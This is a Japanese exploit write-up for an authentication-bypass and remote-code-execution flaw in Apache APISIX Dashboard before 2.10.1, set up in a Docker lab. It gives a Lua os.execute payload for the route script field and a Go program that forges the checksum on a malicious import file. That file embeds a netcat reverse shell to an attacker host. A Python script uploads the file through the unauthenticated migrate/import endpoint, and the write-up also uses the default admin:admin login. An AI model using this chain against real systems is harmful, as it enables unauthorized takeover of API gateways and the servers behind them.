免責事項: この記事は学習と参考のみを目的としています。それに含まれるすべてのリソースはインターネットからのものです。これらを違法行為に使用しないでください。さもなければ、相応の結果を自分で負うことになります。また、私は法的および共同の責任を負いません。いくつかの負債。
脆弱性の説明
Apache APISIX は、ロード バランシング、動的アップストリーム、グレー リリース、サービス ヒューズ、ID 認証、オブザーバビリティなどの豊富なトラフィック管理機能を提供する、動的なリアルタイムの高性能 API ゲートウェイです。Apache APISIX ダッシュボードを使用すると、ユーザーはフロントエンド インターフェイスを通じて Apache APISIX を操作できます。この脆弱性は、Manager API のバグが原因で存在します。Manager API は、gin フレームワークに基づいたドロップレット フレームワークを導入しており、すべての API と認証ミドルウェアはドロップレット フレームワークに基づいて開発されています。ただし、一部の API はフレームワーク gin のインターフェイスを直接使用するため、認証をバイパスします。
影響範囲
Apache APISIX ダッシュボード < 2.10.1
環境展開
git clone apisix-docker 経由
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
docker-compose.ymlを変更する
apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine
次に、 docker-compose up -d で環境を開始します
環境が起動すると、ブラウザはデフォルトのポート 9000 を介して apisix ダッシュボードにアクセスします。
バックグラウンドRCE
apisix ダッシュボードのデフォルトのアカウントとパスワードは admin:admin であるため、最初にバックグラウンドでログインしてリモート コマンドの実行を確認します。
まずアップストリーム サービスを作成し、[作成] をクリックし、任意の名前を付けて、リクエストを転送するターゲット ノードのサービスを入力します。ここでは、ドッカーに接続されている Grafana アプリケーションを入力し、ポート番号は 3000 で、[次へ] をクリックします。そして提出してください。
次に、任意の名前とカスタム パスを使用してルートを作成し、[次へ] をクリックして、作成したばかりのアップストリーム サービスを選択して、最後に送信します。
作成されたルートを表示します
。 ルート構成ページに戻り、「構成」をクリックして、送信されるまで次のステップに進みます。BurpSuite を使用してパケットをキャプチャします。
次に、リクエスト パケットの本文にスクリプト フィールドを追加した後、リクエストを送信します。
"script": "os.execute('touch /tmp/Keepb1ue')"
ルーティング構成情報を再確認してください
次に、http://192.168.10.171:9080/rce111 にアクセスしてみましょう。
Docker にチェックインして、Keepblue ファイルが作成されているかどうかを確認します。
不正なインターフェース RCE
デフォルトのパスワードがない場合、または弱いパスワードがある場合は、未承認のインターフェイスを使用して RCE を実行します。
/apisix/admin/migrate/export
/apisix/admin/migrate/import
まず、/apisix/admin/merge/export を使用して構成ファイルをエクスポートします。
不正なのでログインしていない場合、BPがパケットをキャプチャした後、リクエストインターフェースが/apisix/admin/maigrate/exportに変更され、送信をクリックすると設定ファイルの情報が確認できます。
設定ファイルをインポートする際、設定ファイルのチェックサム値が検証されますが、実際にはスクリプトを記述してチェックサム検証値を計算するか、apisix のソースコードに従って新しいチェックサム値を計算することができます。
ソース コードの場所は次のとおりです: apisix-dashboard-master\api\internal\handler\maigrate\merge.go の ExportConfig 関数
計算ソースコードを別途抽出し、RCE文をインポートする必要がある設定(データ)に置き換えて挿入します。
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{
"Counsumers":[],"Routes":[{
"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
このスクリプトを実行すると、apisixPayload ファイルが生成されます
これは、チェック値を計算するためにインポートし、Python コードを使用して単純にサーバーに渡す新しい構成ファイルです。
import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {
"file": open("apisixPayload", "rb")}
r = requests.post(url, data={
"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
攻撃側のマシンで NC モニタリングを有効にします。
次に、ルーティング アドレス (http://192.168.10.171:9080/rce111) にアクセスして、リモート コマンドの実行をトリガーします。
NCリバウンドシェルを見る
リバウンドは成功し、コマンドが実行されたことを示します。